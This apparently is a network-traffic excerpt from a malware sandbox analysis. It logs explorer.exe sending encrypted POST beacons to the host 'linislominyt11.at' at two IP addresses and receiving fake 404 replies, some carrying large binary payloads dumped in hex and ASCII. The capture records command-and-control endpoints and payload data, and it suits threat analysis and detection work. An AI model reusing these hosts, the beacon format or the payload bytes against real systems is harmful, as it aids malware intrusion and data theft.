Aug 30, 2022 15:54:46.349389076 CEST	13627	OUT	Data Raw: 4a 9d 89 ce 48 61 22 25 5a 72 23 56 0d af 57 cc 2e 1f 9c 17 ff 69 ad af bc 6a a6 86 71 f4 a0 e0 f8 a1 81 be 00 33 90 b0 a5 2c 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 b8 8a 14 62 cc d6 4f 96 f9 e8 26 c9 Data Ascii: JHa"%Zr#VW.ijq3,jp_S61oJf=B!bO&ko-5p7z?I\(($Et3\|-<PvC27q`c~7V:jrP(~ut7O.XMGGJ'NXL(<YlF
Aug 30, 2022 15:54:47.148960114 CEST	13627	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 30 Aug 2022 13:54:46 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49730	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 30, 2022 15:54:47.417212009 CEST	13628	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dendcyeu.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 166 Host: linislominyt11.at
Aug 30, 2022 15:54:47.418836117 CEST	13628	OUT	Data Raw: 4a 9d 89 ce 48 61 22 25 5a 72 23 56 0d af 57 cc 2e 1f 9c 17 ff 69 ad af bc 6a a6 86 71 f4 a0 e0 f8 a1 81 be 00 33 90 b0 a5 2c 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 b9 8a 14 62 cd d6 4f 96 9a d8 46 b7 Data Ascii: JHa"%Zr#VW.ijq3,jp_S61oJf=B!bOFbQ.'OiYe0KzU{f>hUMb%
Aug 30, 2022 15:54:48.225950956 CEST	13630	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 30 Aug 2022 13:54:48 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 fd 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 61 dd 0e 75 78 42 18 1c d4 12 e3 d0 08 81 3f 13 4e 4e 56 32 e0 bf d2 1a 39 33 fe 91 27 71 39 d3 08 e8 17 a5 b2 59 5d a4 54 68 d9 dc c0 73 5b 1e 35 6b ee 9f ef 20 37 c8 d4 c1 61 3d 5b f8 d1 a3 c8 dc 2b 46 31 b0 47 b5 bd 11 26 bb 02 13 13 30 bf 6c 13 d9 e9 64 52 aa 33 4f 62 3e 15 21 0b 5a f3 43 93 3a 1a 3e cf 00 52 0b 47 76 d7 07 53 53 fa cb 1f 9e fd 09 51 2a ee 8c 8b 7b 7e 95 f7 ff 78 8d 57 db c4 0d 13 13 5f 01 e1 92 24 18 4f c5 03 41 cb a1 61 7e 9e f5 69 a9 19 17 7e 4f af 9a a1 44 c9 a0 c1 b9 dd 7a 09 90 4e 19 e0 2c 95 a9 18 1a f6 96 be 35 51 61 94 3c 3c 7c 8b 28 c8 48 6b a1 d0 4a 9a 13 fd ec 9e aa 6b ac 87 3f bd 61 0d c0 5d bf 56 34 fd f8 12 6c 33 6c 29 7c 0a 8d 8b fe e5 0e c0 eb 7e 71 eb d0 f4 1a 40 38 4b d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 23 37 cc 46 99 48 15 ac af eb d9 55 3d af ba 68 92 ee ff 9d f3 7e 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 33 44 77 29 f8 70 17 4b 8d a3 df 8e 82 11 e8 e4 1f 8e a1 90 4e b1 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 3e 54 ab 7e 08 0f 75 8f b7 af 57 a3 60 36 85 1f d4 bc 68 91 9c 19 06 f1 2c be ae 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 d9 07 99 ca e3 80 1e 00 18 50 6d 43 88 8d 8b 8b e1 72 7b d7 9c a8 c3 e0 2b b9 b5 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a cf f6 6b 23 e3 a2 aa 45 63 80 e3 1c c9 90 f4 52 48 94 3b 96 4d 7b e6 17 3f ec e4 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca c2 cf 25 6e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 01 28 2b 77 33 c3 00 45 3d 79 24 0d 1e eb 67 f9 7d d8 ef fe cd f0 a8 01 3f 26 58 c5 07 1f ad d6 46 43 7c 20 4b b2 cf dd a9 8c 29 02 3d 89 31 99 a5 13 01 6e 01 2e 10 72 c8 ad f4 ae e4 47 29 fb d8 a7 22 40 42 c1 6f 02 89 cc 05 81 55 0c e3 56 f6 a8 b4 f3 5b 11 8f 41 bd 0a 29 78 87 9b 68 ca 4b c2 7b 28 b0 cf bb 66 56 9a 3c 5c e3 9c 17 6b 18 67 cd d2 f3 bb 75 e0 91 ce e0 ae 08 4b 84 6e 25 2f 74 4d ab 61 98 4b 24 5b cc ba 0f 14 78 c5 8a d3 0e 3a 03 2a 79 2b 0d 8f 3d ef a2 86 89 Data Ascii: `@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGauxB?NNV293'q9Y]Ths[5k 7a=[+F1G&0ldR3Ob>!ZC:>RGvSSQ{~xW_$OAa~i~ODzN,5Qa<<\|(HkJk?a]V4l3l)\|~q@8KO;yLuVW;r#u1yr+Lc1<'i#7FHU=h~U@Wd{9f(B@w=fd3Dw)pKNTUo)2([>T~uW`6h,[}PmCr{+z(Fzk#EcRH;M{?~Mpvn%n5_)CCUb:@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=(+w3E=y$g}?&XFC\| K)=1n.rG)"@BoUV[A)xhK{(fV<\kguKn%/tMaK$[x:*y+=
Aug 30, 2022 15:54:48.226216078 CEST	13631	IN	Data Raw: f5 11 dc 4f 59 9a 5b 85 5c 42 41 eb 60 fa 12 37 8e dd 28 81 41 78 3d 65 43 32 c0 36 6d c1 db dc d1 29 20 4d 9d 15 ac 25 63 6f 7d 54 5a 84 d0 3e f5 c6 89 99 11 85 1b 9a 32 04 5c 41 13 9c c6 2f a8 f3 d7 e1 1c 70 84 d8 c0 e4 93 c8 f6 47 b2 3c 43 c5 Data Ascii: OY[\BA`7(Ax=eC26m) M%co}TZ>2\A/pG<C4,um\og~$zX9;67=74J!YAPG6/<C1t7RJu!]P\0=Ef1HWA{d5 w[PL,_
Aug 30, 2022 15:54:48.226697922 CEST	13631	IN	Data Raw: df b0 2a f8 c3 0e 9f bc 5d fb ba 8d 6d 19 ff 43 07 a2 76 bf f9 32 0f 43 a8 d0 c8 38 a3 b8 c1 6b 53 cd 2a 1d 2d 60 22 69 4b 9e 36 c6 b9 40 95 da 04 4c b6 8f 37 24 c3 13 d5 27 cc 3b b6 73 32 99 7d 9a da 48 e9 61 fa 68 23 e0 0e 12 35 c6 56 0d f4 a5 Data Ascii: ]mCv2C8kS-`"iK6@L7$';s2}Hah#5VhEH hatw-s="R#.H5zKBNc-;g4L^^^H#n8?*C;]7FMS1`=52rOlPy<?!a)+
Aug 30, 2022 15:54:48.226732969 CEST	13633	IN	Data Raw: 6a 24 66 f1 34 99 cd d9 1f 16 41 4b d3 ec 3a 24 93 3c 04 49 a3 1a 13 df 35 e8 3d 86 3f 56 4f 62 e7 85 4a 93 9c 2d 18 90 da cd 8c e5 17 87 2f ba 5b fb ae f8 21 9f 9f d1 26 ae 51 60 20 5d 4f 07 31 31 6a 2a 8a b8 bd a5 e6 32 3b e7 3c 63 29 8e 7f fb Data Ascii: j$f4AK:$<I5=?VObJ-/[!&Q` ]O11j2;<c)OgPo.A3-jWvs<hmn\|U.pK;%5to(a^ !+c[uz_Zv>0aEMym/GvJJOH{ua2@$q)szLs7Xb
Aug 30, 2022 15:54:48.226752043 CEST	13633	IN	Data Raw: 7a ee 10 b2 01 01 23 b9 23 34 4e 3a e9 23 ad d7 2a fc 81 4b 63 e8 6c 73 b8 63 af 39 4f 94 7d bd 77 cc 7a bc 91 38 41 c3 1a 27 ed 34 af 23 6d 31 ea 44 2c c6 65 6a f7 99 51 e8 8d 5b 6e a5 ac a9 b9 66 9e b2 8e c0 10 c8 8e 12 fe 53 8c e0 b4 52 1a f9 Data Ascii: z##4N:#Kclsc9O}wz8A'4#m1D,ejQ[nfSR3Yd}Nu_%y2TPU:RN
Aug 30, 2022 15:54:48.420691013 CEST	13634	IN	Data Raw: 6a 8a f8 c0 31 f7 0b e8 ed 68 81 5e cf 0e 65 8a 70 af 1d 1a 72 a4 95 cb 67 31 ff 3b 7a 92 cc 3f d2 27 ca e6 6e b3 0c 13 ea cf b3 9e d8 26 62 4f da 5f 0b b9 f3 87 bd 6b 22 60 36 4d 32 e2 0b f0 13 cf f9 b8 c1 88 b9 5e 20 2b 9f d9 ef c2 01 0a b5 bc Data Ascii: j1h^eprg1;z?'n&bO_k"`6M2^ +(y1io\?Xd}, N:Z+wBTtcy=DY$sanrn69MF7,h49d9YQz\|3%Frm%X#0{jt=b5#~3]=
Aug 30, 2022 15:54:48.420984983 CEST	13636	IN	Data Raw: b4 46 24 04 3c 6f b2 f0 db a5 7d bb c9 2b 82 6b 8c ea 42 39 f9 5d 37 30 e9 16 3d d5 33 16 98 f0 70 a4 ca 9b 48 cd 70 cd 9d 75 3a a8 e2 b6 c0 84 e8 bb 9f f0 14 89 49 c8 54 5d 09 60 e8 3b bc 20 0a 9d 54 32 75 0b 64 3e cd 84 ec 50 4a da 56 bc a8 3e Data Ascii: F$<o}+kB9]70=3pHpu:IT]`; T2ud>PJV>MV B<)@r,j`R0q/6G1h(OkF!WQ@2.ky<qA,[Y\|yN/PLS>j3C\|&5jqse@!\~~4BK#
Aug 30, 2022 15:54:48.421401978 CEST	13637	IN	Data Raw: 97 7d b0 ff b1 f8 c4 b5 e3 36 45 dc f8 2a 60 1c 68 4c 05 9c b0 93 3e cc 61 ed 6c 42 44 fb ed 19 28 3d 2f 9f 12 7b 16 6e 0c 1f aa 3a 87 c6 34 57 80 f8 91 2e 83 2f 69 b6 0b 4b 21 fa 8a b1 d0 4d 05 0d 5c ab 9b b9 e6 31 74 66 1f ed 98 60 76 f4 dc 4d Data Ascii: }6E*`hL>alBD(=/{n:4W./iK!M\1tf`vM`f9C:9CJ8+5LHFVlg[J$bA([qV,DRz{Jl.?RPi2?`]x\hJ;,nK!f8G
Aug 30, 2022 15:54:48.421710014 CEST	13639	IN	Data Raw: 10 a1 82 2d 46 1f 47 54 b4 52 14 bb 42 4a 7a 07 e8 94 db 85 f8 d2 f0 9f a0 c6 d2 67 df bd 78 1e d1 65 45 56 19 cd 23 70 79 6e bd 34 78 66 43 c8 64 74 57 ea 5f 1f 91 1b 55 8d e3 e8 0b 61 a7 ea 57 b2 7e 37 78 5f d9 55 62 20 52 e8 09 34 41 94 d4 14 Data Ascii: -FGTRBJzgxeEV#pyn4xfCdtW_UaW~7x_Ub R4A JLIAj4m8z*?<ULbDzB@c;^IDy^$inq`\%0WJ{\|9s]#>f9K\,_Lg,k9veVZ !
Aug 30, 2022 15:54:48.424532890 CEST	13640	IN	Data Raw: 3f dc b8 92 48 f4 43 9c cf d4 8a ef bb 5b 66 e1 04 63 81 9a 6d 7b 97 39 04 a9 e1 b6 f3 39 aa 06 f0 a7 69 1b fe 69 68 a8 21 c2 14 e5 61 df 03 99 e4 26 81 e9 86 69 a9 f5 f2 90 bd 46 14 1a 78 01 52 23 cd 92 50 c7 e7 98 cb 0a 43 90 fb 16 60 cc 11 9e Data Ascii: ?HC[fcm{99iih!a&iFxR#PC`FfD5Ic}6]m3Y)r>UCxQ9V,ub{il_1%#m!^J?\|bi;1'jL~$G"s0nlO=P?8*
Aug 30, 2022 15:54:48.424915075 CEST	13641	IN	Data Raw: 5b 5a 58 6e ac 0a a0 c3 1a 72 0c 20 ea b0 23 08 f2 ab fe 83 d3 94 a9 fc ab ab 66 23 58 f6 0e ff 48 7e 09 d9 da 3f 3d 72 73 9b 9a 34 e4 39 e8 77 b3 e2 26 98 20 1d 12 b8 bb ec e6 9c ce 25 83 e9 5a fe c4 a8 09 9b 60 a8 01 66 0c 18 ec 8c 2d 3a 03 3e Data Ascii: [ZXnr #f#XH~?=rs49w& %Z`f-:>0R*{AW"v0O'j)NMWN4\|J\|_C)kiv%\HS~0&%9BmOu8)H^<J!D#vth

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49731	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 30, 2022 15:54:50.569926023 CEST	13826	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://epgosavus.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 119 Host: linislominyt11.at
Aug 30, 2022 15:54:50.572575092 CEST	13826	OUT	Data Raw: 4a 9d 89 ce 48 61 22 25 5a 72 23 56 0d af 57 cc 2e 1f 9c 17 ff 69 ad af bc 6a a6 86 71 f4 a0 e0 f8 a1 81 be 00 33 90 b0 a5 2c 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 b9 8a 14 62 cc d6 4f 96 fa d4 18 db Data Ascii: JHa"%Zr#VW.ijq3,jp_S61oJf=B!bO\|k\kd7rU^m_&
Aug 30, 2022 15:54:51.365268946 CEST	13827	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 30 Aug 2022 13:54:51 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49732	115.88.24.202	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 30, 2022 15:54:52.106067896 CEST	13828	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jkwfoeqsg.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 295 Host: linislominyt11.at
Aug 30, 2022 15:54:52.106108904 CEST	13828	OUT	Data Raw: 4a 9d 89 ce 48 61 22 25 5a 72 23 56 0d af 57 cc 2e 1f 9c 17 ff 69 ad af bc 6a a6 86 71 f4 a0 e0 f8 a1 81 be 00 33 90 b0 a5 2c 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 be 8a 14 62 cd d6 4f 96 f9 fa 05 c5 Data Ascii: JHa"%Zr#VW.ijq3,jp_S61oJf=B!bO#D/2kFSG8efj!!CjQ5u3:c,(*^~AG}c@3`WiyU-7Q\|)S7f^%WH@
Aug 30, 2022 15:54:53.290148973 CEST	13830	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 30 Aug 2022 13:54:53 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 f5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 3b 0d d7 e2 22 92 c1 8b 8e c2 3a 47 52 51 e6 84 c9 c3 45 a5 ac 6f 0b 8d 5a 77 d9 06 e0 a1 e0 44 52 38 db 32 d1 89 84 33 29 7e 6c 4b 42 a3 82 89 b2 e6 ee 08 80 f0 ee 5f 90 43 2d aa 73 28 08 34 ab 98 11 d1 68 60 9e 22 36 f8 37 33 59 c3 ca a7 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 73 fb 42 15 9b 06 50 53 8a ea 2c ff 1d 09 52 2b e5 8d 83 7b 9e 45 f4 fe 73 8c 5c db c4 1d 10 13 bf f8 a0 92 24 08 4f c5 63 0c cb a1 61 6e de f5 69 99 1a 17 7e 5f ef 9a a5 54 c9 a0 c1 bb dd 7a 08 90 4e 19 e0 2c 95 a9 1d 1a f5 96 be 25 51 61 9a 64 7a 7c 88 2c c8 48 46 fb c5 4a 98 03 fd 6c 9e aa 6b ac 87 3f bd 61 0d c0 4d bf 46 24 fd f8 12 6c 33 6c 39 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 5f 8f f6 1a 0c 9b 4a d8 19 de 88 4f 93 4c 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df e6 ec e7 6e 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac 27 65 d9 55 7d af ba 68 92 0e ff 9d 7f 7f 55 40 57 74 7b 39 ce e5 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b af 1f ba f6 f6 01 e8 e4 27 51 a2 90 4e b1 54 55 a5 9e b4 1b 6f c7 cb 29 32 28 e7 5b 1e 54 ab 1e 26 7d 11 ee e3 ce 57 c3 62 79 e4 6b b5 5c 68 91 34 62 47 f1 2c 7e ad 03 5b a5 1e e4 a6 69 13 9f 10 b9 d9 b0 99 07 99 8a cd e4 7f 74 39 50 6d 83 e2 cb f8 f9 82 62 7a d7 34 bd c3 e0 2b d9 f0 bb 01 4c 17 28 d2 fa 42 1f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 40 80 e3 5c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 3d 32 28 77 33 c3 00 45 1d 63 27 0d 0e f1 64 f9 7d c2 ec fe 3d e9 ab 01 3f 26 58 c5 51 0c ae d6 2e 50 7f 20 3f a1 cc dd 27 9f 2a 02 a3 9a 32 99 11 00 02 6e c5 3d 13 72 12 be f7 ae 0a 54 2a fb 26 b4 21 40 58 d5 6c 02 a5 d8 06 81 69 18 e0 56 b8 bc b7 f3 03 05 8c 41 db 1e 2a 78 05 8f 6b ca d3 d6 78 28 1c db b8 66 92 8e 3f 5c 37 88 14 6b f6 73 ce d2 0d af 76 e0 83 db e3 ae 16 5e 87 6e 1d 3a 77 4d fb 74 9b 4b 42 4e cf ba 79 01 7b c5 08 c6 0d 3a 8d 3f 7a 2b 93 9a 3e ef 0c 93 8a Data Ascii: `@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShG;":GRQEoZwDR823)~lKB_C-s(4h`"673Yp"XJ3Ob>!Z:V?sBPS,R+{Es\$Ocani~_TzN,%Qadz\|,HFJlk?aMF$l3l9\|~q_JOLLuVW;r#u1yn+Lc1<'i3FH'eU}hU@Wt{9(B@w=fd0QpK'QNTUo)2([T&}Wbyk\h4bG,~[it9Pmbz4+L(Bzk7@\ RH:M?~Mpvn%.5_)CCUb:@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c==2(w3Ec'd}=?&XQ.P ?'2n=rT&!@XliVAxkx(f?\7ksv^n:wMtKBNy{:?z+>
Aug 30, 2022 15:54:53.290302992 CEST	13831	IN	Data Raw: f5 d1 c9 4c 59 42 4e 86 5c ae 54 e8 60 f2 04 34 8e c3 3e 82 41 48 2b 66 43 78 d6 35 6d a3 cd df d1 5b 36 4e 9d 9b ba 26 63 2f 6e 57 5a 36 c6 3d f5 0c 9f 9a 11 5f 0d 99 32 ec 4a 42 13 62 d0 2c a8 e5 c0 e2 1c 42 93 db c0 da 84 cb f6 17 a5 3f 43 ad Data Ascii: LYBN\T`4>AH+fCx5m[6N&c/nWZ6=_2JBb,B?C4bxdi$lm[,6y7=-7I!/SD3.$)w/;QS)!D_08"Ff0'fZWi##-AS<b
